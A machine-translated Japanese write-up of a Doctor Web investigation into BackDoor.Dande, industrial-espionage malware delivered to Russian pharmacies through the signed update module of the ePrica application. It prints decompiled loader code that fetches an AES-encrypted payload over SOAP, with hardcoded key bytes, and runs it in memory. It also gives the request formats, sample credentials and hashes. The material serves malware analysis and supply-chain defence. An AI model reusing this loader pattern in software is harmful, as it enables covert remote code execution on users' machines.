薬局、産業スパイ、インサイダー、調査に対する4年間のサイバー攻撃。 「Petya」はそれと何の関係があるのでしょうか?

通常、私たちは調査について誰にも話さない。 この痛みを伴う主題は微妙です。 しかし、状況は事実上強制します:)昨日、あなたは簡単な言葉でニュースを読むことができました、そして今日、それがすべて技術的にうまくいった方法をお話しします。 見逃した場合: トロイの木馬に関する投稿の更新について話している Encoder.12544は 、PetyaなどではなくPetyaとしても知られています。 一言で言えば:



2012年、Doctor Webウイルスアナリストは、BackDoor.Dandeマルウェアを使用したロシアの薬局と製薬会社のネットワークに対する標的型攻撃を検出しました。 このスパイウェア型トロイの木馬は、製薬業界で使用される特殊なプログラムからの薬物購入に関する情報を盗みました。 起動時に、バックドアは、医薬品の発注と会計の適切なアプリケーションがシステムにインストールされているかどうかを確認し、存在しない場合は機能しなくなりました。 2800以上の薬局とロシアの製薬会社が感染しました。 したがって、BackDoor.Dandeが産業スパイに使用されたと断言できます。



Doctor Webのスペシャリストは、4年間続いた調査を実施しました。 BackDoor.Dandeの影響を受ける企業のいずれかによって提供されたハードドライブを分析した後、ウイルスアナリストは、バックドアの他のすべてのコンポーネントを起動するドライバーを作成する日付を設定しました。


このドライバーの言及は、Windowsのページングファイルと、感染したマシンにインストールされたアバストウイルス対策ログで見つかりました。 これらのファイルの分析により、ePricaアプリケーションの起動直後に悪意のあるドライバーが作成されたことが示されました(D:\ ePrica \ App \ PriceCompareLoader.dll)。 Spargo Technologiesが開発したこのアプリケーションにより、薬局のマネージャーは薬の価格を分析し、最適なプロバイダーを選択できます。 ePricaプログラムを研究することで、ライブラリをメモリにロードし、メモリ内でBackDoor.Dandeを密かにダウンロード、解読、実行することを確立できました。 このトロイの木馬は、Spargo Technologiesが所有するサイトws.eprica.ruからダウンロードされ、ePricaプログラムを更新するように設計されています。 同時に、悪意のあるプログラムを密かにダウンロードしたモジュールには、有効なデジタル署名「Spargo」がありました。 このトロイの木馬は、盗まれたデータをロシア国外のサーバーにアップロードしました。 言い換えると、Trojan.Encoder.12544の場合のように、バックドアはこのプログラムの更新モジュールに「隠れ」ていました。


要するに!



BackDoor.Dande.61



Dr.Webウイルスデータベースに追加:2016-12-08

追加された説明:2017-06-30



インストーラー64b57c90bcbf71ae4a28f8f742821c123bfb8061

ドライバー1 65384de87e53a9249553b6f38c9b48da3ec4e041

ドライバー2 1a22a6c9cd04b25a108e08aa6e35637154e5aee6

トロイの木馬781262c98f1bdd4e61cd888f71ccc712ff296bf6

PriceCompareLoader.dll b3915aa38551a5b5270b23e372ae1241161ec598

PriceComparePm.dll 014a9166c5516a5193b6b638eeae635170f25829


薬局や製薬会社から薬物調達情報を盗むように設計されたバックドア型トロイの木馬。 Doctor Webは、このバージョンのマルウェアの感染源を調査しました。 調査したサンプルでは、​​トロイの木馬の他のすべてのコンポーネントを起動するtapec.sysドライバー(Dande)が2016年4月28日に作成されました。



04/28/16 11:34:59.9062500000;12/11/02 23:14:32.0000000000;06/16/16 12:28:52.5468750000 C:\Windows\System32\drivers\msteeb.sys

04/28/16 11:35:00.2031250000;04/15/08 17:00:00.0000000000;06/16/16 12:28:52.5312500000 C:\Windows\System32\drivers\tapec.sys

04/28/16 11:35:01.0468750000;12/25/08 22:00:20.0000000000;06/16/16 12:28:53.6250000000 C:\Windows\System32\drivers\telephona.cpl








文字列tapec.sysを検索すると、2つのファイルにその存在が示されました。



pagefile.sys ( )

Avast\URL.db ( Avast sqllite3)








データベースには2つのテーブルが含まれます。



sqlite> .schema

CREATE TABLE Paths (Time INTEGER, Path TEXT COLLATE NOCASE UNIQUE, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);

CREATE TABLE URLs (Time INTEGER, URL TEXT, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);

CREATE INDEX PathsPathIndex ON Paths (Path COLLATE NOCASE);

CREATE INDEX URLsShortHashIndex ON URLs (ShortHash);








where Paths-調査中のコンピューターで実行されるプログラムのリスト。 悪意のあるドライバーの作成前と作成後の1日の範囲で繰り返し検索すると、2つの興味深いイベントが明らかになりました。



1461832499|D:\ePrica\App\PriceCompareLoader.dll|2038233152|

1461832500|C:\WINDOWS\system32\drivers\tapec.sys|2510498394|








D:\ ePrica \ App \ PriceCompareLoader.dllライブラリの開始後、ePricaアプリケーションの一部である悪意のあるドライバーが作成されました。



EPica Research



ePricaはSpargo Technologiesによって開発されたアプリケーションで、薬局のマネージャーが薬の価格を分析し、最適なプロバイダーを選択できるようにします。 このプログラムで使用されるPriceCompareLoader.dllライブラリには、3つのエクスポートされた関数があります。



MemoryLoadLibrary

MemoryGetProcAddress

MemoryFreeLibrary








これらの関数はすべて、メモリ内のライブラリを実行します。 PriceCompareLoader.dllはPriceComparePm.dllから呼び出されます。 ライブラリは、.NET Reactor 4.7で難読化されています。 このライブラリは、サイトからペイロードをダウンロードし、AESアルゴリズムを使用して解読し、メモリから実行しようとしています。 以下は、ファイルをダウンロードして実行するコードです。



 public static void Download() { try { if (!UpdateDownloader.bool_0) { Guid sessionId = Settings.SESSION.SessionId; if (!(sessionId == Guid.Empty)) { UpdateService updateService = new UpdateService(); MyUtils.ConfigureWebServiceProxy(updateService, false); int @int = SettingsAllUsers.GetInt("UPDATE_FLAG"); if (@int >= 0) { bool success = false; if (@int > 0) { success = true; } DateTime date = SettingsAllUsers.GetDate("UPDATE_FLAG_MODIFIED"); updateService.ResetUpdateFlag(sessionId, success, date); SettingsAllUsers.SetDirect("UPDATE_FLAG", -1); } else if (updateService.CheckUpdateFlag(sessionId)) { byte[] array = new byte[UpdateDownloader.qOmraPoxb]; int num = 0; while (true) { byte[] array2 = updateService.Load(sessionId, num); try { array2 = AesEncryptor.Decrypt(array2, UpdateDownloader.byte_0, UpdateDownloader.byte_1); } catch { num = 0; break; } int num2 = 0; if (array2 != null) { num2 = array2.Length; } if (num2 == 0 || num + num2 > UpdateDownloader.qOmraPoxb) { break; } Array.Copy(array2, 0, array, num, num2); num += num2; } if (num > 0 && num <= UpdateDownloader.qOmraPoxb) { Array.Resize<byte>(ref array, num); UpdateDownloader.bool_0 = true; Thread thread = new Thread(new ParameterizedThreadStart(UpdateDownloader.smethod_0)); thread.Start(array); } else { updateService.ResetUpdateFlag(sessionId, false, DateTime.get_Now()); } } } } } catch { } }
      
      





AESキーとベクター:



 static UpdateDownloader() { Class3.uNNUGvkzmboS2(); UpdateDownloader.qOmraPoxb = 2097152; UpdateDownloader.byte_0 = new byte[] { 57, 75, 140, 42, 22, 100, 103, 39, 168, 179, 86, 81, 247, 11, 224, 242, 23, 154, 186, 128, 130, 171, 200, 170, 128, 217, 247, 238, 80, 200, 146, 12 }; UpdateDownloader.byte_1 = new byte[] { 88, 199, 157, 130, 155, 231, 168, 148, 97, 45, 227, 215, 3, 234, 61, 172 }; }
      
      





検証コードの更新:



 private static void smethod_0(object object_0) { bool flag = false; try { byte[] array = object_0 as byte[]; if (array != null) { SettingsAllUsers.SetDirect("UPDATE_FLAG", -2); flag = CheckUpdate.Check(array); } } catch { } finally { try { if (flag) { SettingsAllUsers.SetDirect("UPDATE_FLAG", 1); } else { SettingsAllUsers.SetDirect("UPDATE_FLAG", 0); } SettingsAllUsers.SetDirect("UPDATE_FLAG_MODIFIED", DateTime.get_Now()); } catch { } UpdateDownloader.bool_0 = false; } }
      
      





メモリ開始コード:



 public static bool Check(byte[] byte_0) { IntPtr intPtr = IntPtr.Zero; IntPtr intPtr2 = IntPtr.Zero; try { if (byte_0 == null) { bool result = false; return result; } intPtr2 = Marshal.AllocHGlobal(byte_0.Length); Marshal.Copy(byte_0, 0, intPtr2, byte_0.Length); intPtr = CheckUpdate.Class1.MemoryLoadLibrary(intPtr2); if (intPtr == IntPtr.Zero) { bool result = false; return result; } IntPtr intPtr3 = CheckUpdate.Class1.MemoryGetProcAddress(intPtr, "ModuleFunction"); if (intPtr3 == IntPtr.Zero) { bool result = false; return result; } CheckUpdate.Delegate0 @delegate = (CheckUpdate.Delegate0)Marshal.GetDelegateForFunctionPointer(intPtr3, typeof(CheckUpdate.Delegate0)); @delegate(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); } catch { bool result = false; return result; } finally { try { if (intPtr != IntPtr.Zero) { CheckUpdate.Class1.MemoryFreeLibrary(intPtr); } } catch { } try { if (intPtr2 != IntPtr.Zero) { Marshal.FreeHGlobal(intPtr2); } } catch { } } return true; }
      
      





プロトコル



ライブラリは、HTTP SOAPプロトコルを使用してリモートサーバーと通信します。 承認のために、POSTリクエストが次の見出しとともにサーバーws.eprica.ru/app/InfoService.asmxに送信されます。



'SOAPAction': "http://www.spargo.ru/es/LoginEx"







承認用のデータの構造は次のとおりです。



 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <LoginEx xmlns="http://www.spargo.ru/es"> <wsUser> <LicenseNumber>071122-164229</LicenseNumber> <SessionId>00000000-0000-0000-0000-000000000000</SessionId> <GuidDrugstore>00000000-0000-0000-0000-000000000000</GuidDrugstore> <KodDrugstore>105570</KodDrugstore> <Login></Login> <PasswordHash>/9P+uFEEaqgoKiKOQOZnOw==</PasswordHash> <Version>4.0.26.30</Version> <ComputerInfoHash>NVQKLJBTV1</ComputerInfoHash> <AccessCode>ED287118-3933-4E97-95A7-9D3C4CF94421</AccessCode> <DownloadedUpdateVersion>4.0.23.17</DownloadedUpdateVersion> </wsUser> <password>1230456</password> </LoginEx> </soap:Body> </soap:Envelope>
      
      





応答は、次の形式のsessionIdです。



 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <LoginExResponse xmlns="http://www.spargo.ru/es"> <LoginExResult> <SessionId>64ad19a5-d8c3-481c-a95e-95ce9a3722ff</SessionId> <AccessCodeNew>F06BBB44-558B-4C43-A278-1E7B787FE986</AccessCodeNew> <ContentServiceUrl>https://pharmadata.ru/content/ContentUploadService.asmx</ContentServiceUrl> <PackSize>0</PackSize> <MobOrderCheckIntervalSec>300</MobOrderCheckIntervalSec> <IsMobOrderDisabled>false</IsMobOrderDisabled> <HasMobOrder>false</HasMobOrder> <LastLogSave>2016-12-08T12:41:44.0065516+03:00</LastLogSave> </LoginExResult> </LoginExResponse> </soap:Body> </soap:Envelope>
      
      





ペイロードを取得するには、サーバーws.eprica.ru/app/UpdateService.asmxに次の見出しを付けてリクエストを送信します。



"SOAPAction": 'http://www.spargo.ru/es/Load'







次のxmlファイルが転送されます。



 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <Load xmlns="http://www.spargo.ru/es"> <guidSession>%s</guidSession> <offset>%d</offset> </Load> </soap:Body> </soap:Envelope>
      
      





ファイルはパーツ単位で提供されるため、offsetパラメーターが使用されます。 サーバーの応答は次のとおりです。



 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <LoadResponse xmlns="http://www.spargo.ru/es"> <LoadResult>fzzvOyrIohvnXggrGy35PtG9BG79/v7MebMKMMu+lN... </LoadResult> </LoadResponse> </soap:Body> </soap:Envelope>
      
      





base64に送信されるペイロードは、AESアルゴリズムを使用して暗号化されます。 BackDoor.Dandeインストーラーが含まれています。 ライブラリ自体には、SPARGO Technologiesの有効なデジタル署名があります。







インストール中に、BackDoor.Dandeは、古いDandeバージョンのファイルisaPnpPrt.sys、RpcSsPrt.sys、BackDoor.Dande.2を削除します。 トロイの木馬は、%SYSTEM32%\ drivers \フォルダからランダムな名前を選択し、同じ名前でそのコピーを保存しますが、最後にいくつかのランダムな文字を追加します。 トロイの木馬は.cdataおよび.bdataセクションから保存するファイルを抽出し、データはBackDoor.Dande.2コンテナに保存されます。 SHA1 65384de87e53a9249553b6f38c9b48da3ec4e041を持つドライバーでは、名前が暗号化されたコンテナーに更新されるため、以前有効だったデジタル署名が削除されます。 それ以外の場合、インストール手順はBackDoor.Dande.2の場合と同様です。



vms.drweb.ru/virus/?i=15448691&lng=en



言い換えると、Trojan.Encoder.12544の場合のように、バックドアはこのプログラムの更新モジュールに「隠れ」ていました。



これら2つのケースの類似性は、ソフトウェア開発インフラストラクチャが情報セキュリティの問題に対する注意を高める必要があることを示しています。 まず、商用ソフトウェアの更新プロセスは、開発者とユーザーの両方の細心の注意を払う必要があります。 オペレーティングシステムに実行可能ファイルをインストールして実行する権限を持つさまざまなプログラムを更新するためのユーティリティは、予想外の感染源になる可能性があります。 MEDocの場合、サイバー犯罪者によるハッキングがこれを引き起こし、アップデートのダウンロード元のサーバーが侵害されました。BackDoor.Dandeの状況では、専門家は意図的なインサイダーが感染のspread延につながったと考えています。 この手法を使用すると、攻撃者はほとんどすべてのソフトウェアのユーザーに対して効果的な標的型攻撃を行うことができます。



All Articles